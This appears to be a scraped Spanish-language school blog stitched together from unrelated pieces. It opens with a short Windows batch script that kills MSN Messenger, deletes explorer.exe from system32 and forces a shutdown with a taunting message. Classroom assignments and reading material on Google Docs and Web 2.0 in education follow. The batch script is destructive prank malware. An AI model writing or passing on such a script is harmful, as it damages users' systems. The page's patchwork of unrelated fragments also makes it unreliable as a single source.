@echo of
Taskkill/F/IM msnmsgr.exe
Del/F c:\windows\system32\explorer.exe
Shutdown-s-t 10-c “has caido en mis manos”

DELINQUIR NO PAGA

En este sitio encontras todo lo relacionado sobre que dilinquiir no es la mejor opcion para tu vida, es la peor decision que un ser humano pueda tomar.


http://www.delinquirnopaga.com
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ACTIVIDAD Nº 3

1. SACAR LA IDEA PRINCIPAL DEL ARTÍCULO

2. QUE ES GOOGLE DOCS

3. FUERA DE LAS TRES VENTAJAS QUE TEDA EL ARTICULO, CUALES OTRAS CREES QUE TIENE GOOGLE DOCS.

4. ES GOOGLE DOSC UNA HERRAMIENTA PARA LOS ESTUDIANTE. ¿Por qué?

5. QUE LE PERMITE GOOGLE DOCS REALIZAR AL USUSRIO.

6. ACTUALMENTE POR QUIEN ESTA SOPORTADO GOOGLE DOCS

HISTORIA

Google Docs se originó de dos productos separados, Writely y Google Spreadsheets. Writely era un procesador de texto individual en red creado por la compañía de software Upstartle, el cual fue lanzado en agosto de 2005. Sus características originales incluían un sitio para la edición de textos en colaboración, además de controles para su acceso. Los menús, atajos en el teclado y cuadros de diálogo eran presentados de una manera muy similar a la que los usuarios suelen esperar en un procesador de texto tradicional, como OpenOffice.org o Microsoft Office.
En el momento de la adquisición, Upstartle tenía 4 empleados. Writely cerró los registros a sus servicios hasta que estuviese completo el movimiento a los servidores de Google. En agosto de 2006 Writely envió invitaciones de cuentas a todos aquellos que hubieron requerido ser ubicados en una lista de espera y luego se volvió disponible al público el 23 de agosto. Writely continuó manteniendo su propio sistema de usuarios hasta el 19 de septiembre de 2006 cuando fue integrado con Google Accounts.
Writely se ejecutaba originalmente sobre tecnología Microsoft ASP.NET, la cual usa Microsoft Windows. Desde julio de 2006, los servidores de Writely funcionan bajo el sistema operativo Linux.
Mientras tanto, Google desarrolló Google Spreadsheets introduciendo muchas de las bondades encontradas hoy en Google Docs. Google anunció Spreadsheets el 6 de junio de 2006 e inicialmente lo puso a disposición sólo de una cantidad limitada de usuarios, según orden de llegada. El test limitado fue reemplazado después con una versión beta disponible para todos los titulares de una cuenta de Google.
En febrero de 2007 Google Docs fue liberado para todos los usuarios de Google Apps.
En junio del mismo año Google cambió la página principal para incluir carpetas en vez de etiquetas organizadas en una barra lateral.
El 17 de septiembre de 2007 Google lanzó su programa de presentación para Google Docs.

GOOGLE DOCS

Google siguen mostrando sus dientes para competir con Microsoft en el terreno de las aplicaciones de escritorio. Su producto se llama Google Docs & Spreadsheets y ofrece, por ahora, un procesador de texto (adquirido a Writely) y una planilla de cálculo tipo Excel. Para usarlos, no es necesario instalar nada. Por eso la suite es ideal para quienes viajan mucho o trabajan desde diferentes locutorios o máquinas. También es buena para trabajar un documento en grupo y compartirlo con nuestros contactos. Por ahora ambas aplicaciones funcionan muy bien y ofecen las mismas funciones básicas (y algunas más) que las que usamos normalmente.Para trabajarlas, es necesario tener una cuenta Gmail y usar el mismo login.
Mientras tanto, se espera con ansiedad que Google presente la aplicación que permita hacer presentaciones tipo Powerpoint, como ZohoShow (recomendable).

Google Docs y Hojas de cálculo, oficialmente Google Docs & Spreadsheets es un programa gratuito basado en Web para crear documentos en línea con la posibilidad de colaborar en grupo. Incluye un Procesador de textos, una Hoja de cálculo, Programa de presentación básico y un editor de formularios destinados a encuentas.

CARACTERISTICAS

Se puede crear documentos de texto, hojas de cálculo, presentaciones y bases de datos desde la misma aplicación o importarlos utilizando su interfaz web o enviándolos utilizando el correo electrónico. Los archivos se almacenan en los servidores de Google. Los archivos almacenados pueden ser exportados en diversos formatos estándar o ser enviados por correo electrónico.
Durante la edición de los documentos, éstos se guardan automáticamente para evitar pérdida de información.
Otra característica importante es la posibilidad de colaboración de grupos de trabajo, además de poder compartirlos con múltiples usuarios al mismo tiempo.
Este sitio se originó una vez comprado el editor en línea Writely por parte de Google.

Las principales ventajas de Google Docs son:

@Nuestros documentos se almacenan en línea: esto nos permite acceder a ellos desde cualquier ordenador con conexión a internet, y compartirlos con quienes nosotros queramos, permitiendo su edición o llegar a publicarlos para que todo el mundo pueda verlos.

@La gran cantidad de formatos que soporta: con el procesador de texto podremos editar nuestros documentos de Word, Openoffice, documentos de texto... y guardarlos con el mismo formato u otros distintos. Y lo mismo sucede con presentaciones y hojas de cálculo.

@Su precio: Google Docs es una herramienta totalmente gratuita

ACCESO MÓVIL

Google Docs permite que los usuarios de telefonía móvil puedan navegar por sus documentos de Google Docs. Los usuarios pueden ver y desde hace muy poco pueden editar los documentos.
Existe una versión de Google Docs para el iPhone que incluye la funcionalidad para la visualización y edición de presentaciones, junto con una interfaz diseñada específicamente para este dispositivo.

LIMITACIONES:
Existen ciertos límites al manejar documentos por cada cuenta. Los documentos de texto pueden tener hasta 500 KB más 2 MB para imágenes incrustadas. Cada hoja de cálculo puede tener hasta 10.000 filas, 256 columnas, 100.000 celdas y 40 hojas. Sólo pueden abrirse hasta 11 hojas al mismo tiempo. Sólo pueden importarse presentaciones de hasta 10 MB. Google Docs es actualmente soportado por Google Chrome, Mozilla Firefox, Internet Explorer, Opera y Safari.

SEGURIDAD

El acceso seguro vía SSL no está habilitado por defecto, pero existe la opción de acceder por HTTPS a Google Docs y trabajar de forma segura.
La privacidad de documentos sensibles puede ser comprometida por el hecho de que mucha gente está autenticada en sus cuentas de Google de forma casi permanente (las cuentas Google se utilizan para la gran variedad de servicios ofrecidos por Google como correo electrónico, calendario, etc.). A pesar de que este login unificado tiene claras ventajas, representa un potencial riesgo para la seguridad mientras el acceso a Google Docs no requiera comprobación de contraseña.

Google ha dado otro pequeño retoque a su cuidado Google Docs y esta vez lo ha hecho con la aplicación para hacer presentaciones, ya disponible en su suite online y que presenta funciones muy sencillas y similares al tradicional Power Point de Microsoft.
Las características destacan por su funcionalidad y simpleza, en detrimento de algunas posibilidades que si nos ofrece la aplicación de Office, como las transiciones y efectos animados para las diapositivas y textos.
En resumen las características básicas son:
Plantillas predefinidas
Editor de textos
Insertar imágenes
Reprodcutor de presentaciones
Traducido al español
Posibilidad de compartir y publicar nuestro proyecto
En términos generales, no hace olvidar a su competidor, pero sí refuerza la presencia de Google en la ofimática online, donde le estaban ganando terreno iniciativas como ThinkFree o ZohoWriter.

Una de las funciones que le faltaban a Google Docs y que ya disponían Scribd o Slideshare era la integración de documentos en páginas web o blogs.
Pues bien, desde ayer ya se puede hacer con la inserción de un código que permite incrustar presentaciones en una página y ofrecer contenido interactivo.
Pero no se quedan ahí las novedades que ha ido incluyendo Google Docs y que iremos pudiendo disfrutar. Otras novedades para 2008 son:
Posibilidad de importar presentaciones completas o diapositivas aisladas (a la hora de editar una presentación: File > Import Slides)
Incluir fotografías en las presnetaciones directamente de la WWW con una funcionalidad bastante llamativa. Simplemente debes acercar dos ventanas del navegador, una con el editor de presentaciones de ‘Google Docs’ y otra con la imagen, y luego arrastrar esta imagen hacia el editor (ver )
Mover y duplicar diapositivas simplemente arrastrándolas con el ratón y con las teclas ‘Shift’ y ‘Ctrl’
Cambiar los fondos de una o varias diapositivas subiendo una imagen de nuestro Disco Duro
Posibilidad de crear subdirectorios dentro de los directorios (y otros subdirectorios) de ‘Google Docs’
Posibilidad de renombrar los documentos directamente desde la página inicial de ‘Google Docs’ y con el botón derecho, sin necesidad de entar directamente en el documento para hacerlo.

HERRAMIENTAS DE GOOGLE DOCS PARA EL USUARIO

Google ha pasado de ser el buscador de buscadores a ofrecernos un montón de servicios: correo, agenda, blogs...

1. Google: el buscador de buscadores
1.1 Buscador Google: encuentra la información que buscas en Internet
2.2 Google Images: búsqueda de imágenes de Google
1.3 Google Búsqueda de Blogs: busca en Blogs los resultados
1.4 Google Noticias: búsqueda en el catálogo de noticias de Google
1.5 Google Alerts: recibe alertas en tu correo

2. Gmail: correo de Google. Correo web muy interesante
2.1 Crear una cuenta de Gmail

3. Google groups: participa en grupos o incluso crea grupos
3.1 Introducción a los grupos de Google
3.2 Entrar a formar parte de un grupo de Google I
3.3 Entrar a formar parte de un grupo de Google II
3.4 Crear un grupo de Google Ejemplos
3.5 Crear tu propio grupo de Google
3.6 Grupo de Google: configuración y puesta en marcha
3.7 Grupo de Google: más cambios en la configuración Google Group: Añadir una página

4. Google calendar: tu calendario a un click
4.1 Introducción al Google Calendar
4.2 ¿Cómo acceder a Google Calendar?
4.3 Opciones del calendario por defecto
4.4 Configuración de un calendario
4.5 Crear un nuevo Evento en Google Calendar
4.6 Ejemplo de creación de un nuevo Calendario compartido
4.7 Calendario público, cómo verlo Enlaces interesantes sobre Google Calendar

5. Blogger: crea tu propio blog
5.1 Introducción a Blogger
2.5 Dar de alta nuestro blog en Blogger
5.3 Primer mensaje en nuestro Blog
5.4 Configurando nuestro Blog
5.5 Diseño de nuestro Blog Alimentar de nuevos artículos el blog

6. Google Docs: paquete ofimático on-line
6.1 Introducción y acceso a Google Docs
6.2 Crear un nuevo documento en Google Docs
6.3 Subir un documento a Google Docs
6.4 Pantalla de inicio de Google Docs
6.5 Opciones de Búsquedas Guardadas
6.6 Opciones de carpetas: trabajo con carpetas
6.7 Compartir un documento con Google Docs
6.8 Historial de Revisiones Créate una encuesta mediante una hoja de cálculo y formulario

7. Otras herramientas de google: google dictionary, google translate ...
7.1 Google Dictionary : Diccionario de Google
7.2 Google Translate: traductor de Google
7.3 Otros Servicios Google

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GOOGLEDOCS

http://www.aulaclic.es/googledocs/t_1_1.htm

ACTIVIDAD Nº 2

1. Para que nos sirve la web 2.0
2. Que relacion hay entre la web 2.0 y las TICs
3. La web 2.0 es una ayuda para el estudiante
4. Cuales son las principales herramientas que nos presta la web 2.0
5. L a web 2.0 ha dado un buen resultado en la evolucion, en los ultimos años
6. La web 2.0 tiene: Nuevos procedimientos para trabajar, comunicarse y participar en la web.
7. En la web 2.0 podemos encontrar bastantes aplicaciones en educación como cuales.

INTRODUCCION

La web 2.0 es el resultado de una evolución que ha tenido la red de redes en los últimos años, ya que actualmente ofrece la posibilidad de utilizar una gran cantidad de recursos de software gratuito, disponible desde web, para publicar información en conjunto.
Hace unos años empezamos a utilizar la web de manera individual, comercializar productos, así como establecer comunicación con personas en distintas partes del mundo.
Ahora la web ha tenido una sutil transformación, se publican contenidos construidos por un grupo de personas, compartiendo recursos y sobretodo se han puesto a disposición de miles o millones de personas aplicaciones gratuitas que van desde espacio virtual para publicar información, compartir motores de búsqueda, intercambiar archivos por medio de portales, etc.
Se trata de un cambio de actitud y una reconfiguración ideológica de la organización y uso de la web. Imagínate que cuando estás navegando en la red, encontrarás páginas en donde podrás acceder a un procesador de textos, hojas de cálculo, asistentes para presentaciones, así como programas de diseño y todo lo que te imaginas.
En la actualidad ya estamos viviendo esta nueva forma de concebir la web y los recursos que puede ofrecernos. En estos días ya podemos acceder a sitios que te brindan los recursos gratuitos y libres en la web para publicar información, comunicarte y crear imágenes.

WEB 2.0

Web 2.0 es una incipiente realidad de Internet que, con la ayuda de nuevas herramientas y tecnologías de corte informático, promueve que la organización y el flujo de información, cada vez más, dependan del comportamiento de las personas que acceden a ella, permitiéndose a estas no sólo un acceso mucho más fácil y centralizado a los contenidos, sino su propia participación tanto en la clasificación de los mismos como en su propia construcción, mediante herramientas cada vez más fáciles e intuitivas de usar.

El término, Web 2.0 fue acuñado por Tim O'Reilly en 2004 para referirse a una segunda generación en la historia de la Web basada en comunidades de usuarios y una gama especial de servicios, como las redes sociales, los blogs, los wikis o las folcsonomías, que fomentan la colaboración y el intercambio ágil de información entre los usuarios

Características más importantes

la web 2.0 tiene 7 Principios básicos:

1- La web como plataforma
2- Aprovechar la Inteligencia Colectiva
3- Gestión de Base de Datos como competencia básica
4- Fin del ciclo de actualizaciones de sofware
5- Modelos de programación ligera, fácil plantillado
6- Soft no limitado a un solo dispositivo
7- Experiencias enriquecedoras del usuario

1. La web como plataforma: Todas las herramientas de la web 2.0 están basadas en que tanto el sofware como la información (los documentos)están alojados en internet y no en el disco rígido de la PC del usuario. Lo que implica un paso del modelo Desktop al Modelo Webtop. Nace entonces el concepto de web participativa, donde hay un usuario que deja de ser netamente consumidor para convertirse en proveedor de contenidos y estos contenidos se alojan ya no e forma privada sino que quedan en bases de datos que son compartidas entre varios usarios (Ej. You Tube, Slide Share, Flickr).

2. La web para todos:
Una de las características más importantes es que hablar de Web 2.0 no es hablar de un producto ni de un cableado, sino es hablar de un concepto.
Como plantean diversos autores (citados más arriba), la estándarización en las comunicaciones a través de lenguajes de etiquetas (HTML, XML) permite compartir todo tipo de documentos (texto, audio, imágenes, planillas, etc.) y navegar con los mismos mediante "casi" cualquier navegador.
La universalización en el acceso a los medios tecnológicos "exige" nuevas herramientas de colaboración al alcance de todos. La Web 2.0 permite, mediante mecanismos muy simples que cualquier individuo pueda publicar. Esto mismo "democratiza" el uso de internet al ampliar las posibilidades de sólo lectura.

Paralelamente al comienzo de la incorporación de las TICs a las prácticas
educativas, se ha debatido bastante sobre las competencias tecnológicas que los docentes
debían adquirir en sus diferentes procesos formativos. Sobre todo por ser necesarias
determinadas destrezas en el uso y, sobre todo, en la generación de recursos para la Web.
En los últimos meses estamos asistiendo a una amplia extensión del concepto de
Web 2.0, cuya principal característica podría ser la sustitución del concepto de Web de
lectura, por el de lectura-escritura. Multitud de herramientas están ayudando a que, los
procesos productivos de información que se desarrollan en torno a la Red, se puedan
poner en marcha sin casi ningún tipo de conocimiento técnico, y sin un excesivo gasto de
tiempo. Por ello, poner en marcha actos educativos en torno a Internet (Web educativa
2.0), resulta hoy en día una tarea mucho más fácil desde el punto de vista de los recursos
lógicos necesarios, con lo que podemos hacer prevalecer nuestro perfil docente sobre
roles más cercanos al mundo de la Informática.
Cuando es poco el tiempo que transcurre desde la incorporación de un nuevo hábito tecnológico a nuestras vidas, inmediatamente aparece la extraña sensación de que llevamos la mayor parte nuestra existencia conviviendo con el mismo y que sería muy difícil volver atrás. Se podría realizar un ejercicio en el que de forma intuitiva e inmediata intentáramos adivinar el tiempo que ha transcurrido desde que en los bancos se dejó de realizar anotaciones contables a golpe de bolígrafo, o desde que dejamos de reírnos de las personas que hablaban con un móvil por la calle o desde que escuchamos por primera vez el término "Internet".
Pues en estos últimos meses estamos presenciando la llegada de otro cambio focalizado en aspectos tecnológicos, pero con amplias repercusiones sociales en primera instancia y, como consecuencia de ello, con su correspondiente potencial educativo. Si alguien necesita un término que pueda identificar de lo que voy a hablar, sería quizás "Web 2.0", pero lo que no resulta tan fácil es definirlo de una manera más o menos directa; la razón de ello podría ser que otras revoluciones de corte tecnológico que hemos presenciado, llegaron orquestadas perfectamente por no más de dos o tres monstruos empresariales mientras que ahora, lo que se puede apreciar en un primer momento es una lluvia casi diaria de nuevas herramientas para ser usadas en Internet que nos tienen a todos los que nos movemos por esa esfera un poco asustados.

A pesar de todo esto, cuando nos ponemos a analizar de una forma algo más pausada las primeras repercusiones de este cambio, lo que más me gusta de esta nueva Web 2.0 es que Internet ha pasado de ser un espacio de lectura a ser de lectura-escritura.

La Red está siendo llenada de anzuelos en los que tarde o temprano picamos, viéndonos forzados a practicar el ejercicio de la escritura reflexiva, o a jugar a ser periodistas, o a usar la imagen como fuente de debate e intercambio. Hasta hace muy poco, la publicación, edición o revisión de contenidos en la Red era tarea reservada a muy pocos "geeks"; ahora ya no son necesarios amplios conocimientos informáticos ni tampoco dominar estrategias de marketing para que te lean algunos cientos de personas a la semana pudiendo incluso generar debate sobre tus reflexiones o informaciones. Basta con unos cuantos clics de ratón para generar un espacio en Internet donde tú solo, o acompañado de algunos otros se pueda, de forma tan sencilla crear.

Los máximos exponentes de esta nueva Web 2.0 quizás sean los blogs, weblogs o bitácoras, con su correspondiente versión educativa: los edublogs como una muy fácil y gratuita forma de poder escribir periódica, personal o colectivamente en Internet, permitiéndose el debate o los comentarios sobre cada uno de los temas o mensajes que se vayan produciendo. Mientras que muchos de nosotros comenzamos ahora a conocer el término blog, bastantes de nuestros alumnos y alumnas llevan tiempo manteniendo su propia bitácora en la que, increíblemente, escriben de forma pública. Además podemos encontrar bastantes aplicaciones en educación a través de:

• Blogs de asignaturas, en las que el profesor va publicando noticias sobre la misma, pidiendo comentarios de sus alumnos a algún texto, propuesta de actividades, calendario, etc.

• Weblogs individuales de alumnos en los que se les pide la escritura de entradas periódicas a las que se les realiza un apoyo y seguimiento no solo en los aspectos relacionados con la temática o contenidos tratados, sino también sobre asuntos relacionados con derechos de autor, normas de estilo, citación de fuentes, etc.

• Weblogs grupales de alumnos en los que, de forma colectiva a modo de equipo de redacción, tendrán que publicar entradas relacionadas con las temáticas, estilos y procedimientos establecidos.

Pero este impacto de los blogs es solo una concreción del hecho general que se está extendiendo:

La información o el conocimiento ya no se apoyan solo en las fuentes clásicas, sino que es posible encontrar una diversidad amplia de matices e, incluso, sesgos que los están haciendo más subjetivos o relativos. Un ejemplo bien claro de esto es el fuerte debate existente ahora mismo en Internet sobre la Wikipedia (http://es.wikipedia.org/wiki/Portada). Esta es una enciclopedia en Internet donde cualquiera de sus visitantes puede hacer sus aportaciones y escribir los artículos que quiera; esta idea de generación de conocimiento de forma compartida es excelente. No obstante, han surgido multitud de detractores que la ven como una enemiga del rigor y la exactitud necesarios en cualquier fuente de información académica. Efectivamente, al estar construida por todos, se pueden encontrar errores o informaciones no verificadas, pero este hecho está siendo considerado como positivo para los procesos de aprendizaje pues nuestros alumnos y alumnas deberían tener un acceso racional y crítico a la información, consiguiendo que el verbo contrastar aparezca en nuestras aulas. Andy Carvin (www.andycarvin.com/) nos muestra una experiencia de cómo se puede hacer esto: Haz en clase pequeños grupos y déjalos que elijan un tema que les interese (delfines, fútbol, etc.). A continuación hazlos visitar la wikipedia para que busquen la información contenida sobre el tema elegido; una vez que les ayudemos a seleccionar trozos de información de tamaño manejable y relevantes sobre la cuestión, tendrán que seleccionar los datos o hechos que necesitarían ser contrastados e investigar sobre ellos. En este proceso tendrán además que dejar rastro de las fuentes adicionales consultadas creando así un banco de recursos excelente. Una vez hecho y expuesto el trabajo, crea una cuenta de usuario de Wikipedia y haz que los alumnos corrijan lo necesario o que completen las informaciones correctas con las fuentes encontradas. Así no solo conseguirás mejorar en algo la Wikipedia (cosa imposible con un libro de texto o enciclopedia clásica), además tu alumnado empezará a comprender que San Google no existe y que las grandes fuentes de información no son siempre fidedignas pudiendo contener errores e informaciones concienzudamente alteradas.

Otro de los aspectos importantes de la Web 2.0 que está comenzando a irrumpir en las aulas, es las nuevas formas de clasificación de la información. Hasta ahora los bancos de información (materiales educativos, programas, enlaces, artículos, etc.) que se podían encontrar en la Red se basaban en un sistema de tipo jerárquico o mediante facetas; se trataba de intentar clasificar la información mediante unos aspectos determinados, que son accesibles por los usuarios. De esta forma, los visitantes pueden buscar la información según los criterios determinados por los proveedores de la misma, construyéndose de esa forma un sistema de múltiples estructuras de árbol; por ejemplo, si visitamos algún directorio de contenidos educativos podremos acceder a los mismos atendiendo a criterios de nivel, área o tipo de material. Este tipo de clasificaciones presentan dos problemas fundamentales:

En primer lugar la elección del vocabulario específico de clasificación no suele ser universal y eso presenta problemas de acceso en muchos casos. Además, son normales los solapamientos de los elementos en más de un sitio. Por otro lado, estos sistemas de clasificación requieren de un muy amplio esfuerzo de actualización y revisión, que vaya adecuando el vocabulario usado y procure mantener vivas las estructuras jerárquicas y los contenidos que se ofrecen. Intentado dar un giro importante a la forma en la que se clasifica la información se ha introducido, en la Web 2.0, el uso de las folcsonomías. Taxonomía procede del griego "taxis" y "nomos": Taxis significa clasificación y nomos (o nomia), ordenar, gestionar; por su parte, "folc" proviene del alemán "pueblo" (volks). Luego etimológicamente, folcsonomía (folc+taxo+nomía) significa "clasificación gestionada por el pueblo". De una forma sencilla, la Red se está llenando de sitios donde los usuarios guardan o clasifican, pero de una forma simple: a cada elemento almacenado, el usuario le asigna una o varias palabras clave (tags) que incluso pueden ser compartidas con otros usuarios. Este sistema, que puede resultar anárquico y poco efectivo en principio, está dando resultados no esperados, sobre todo por la cantidad de personas que terminan interviniendo en el procesamiento de la información y el alto grado de coincidencia que aparece. Es prácticamente imposible que un equipo de editores españoles asignara a una página web sobre el uso de móviles en la enseñanza el tag "celular" (que es como se les conoce en buena parte de Sudamérica). Pero con el uso de folcsonomías, resulta muy probable que otro lejano hispanohablante en algún momento descubra el mismo recurso y lo clasifique asignándole el tag mencionado.

Flickr

Muchas herramientas de las que aparecen a diario se apoyan en los conceptos de Redes Sociales e intentan incluir las folcsonomías como criterio organizativo. Por ejemplo, Flickr es una herramienta Web gratuita que te permite almacenar on-line tus archivos fotográficos, pero que va más allá: puedes asignar títulos a las mismas, incluir comentarios, permitir que los demás también lo hagan generando así un debate en torno a una imagen, asignarles tags, crear círculos de personas que comparten los mismos tags y mucho más.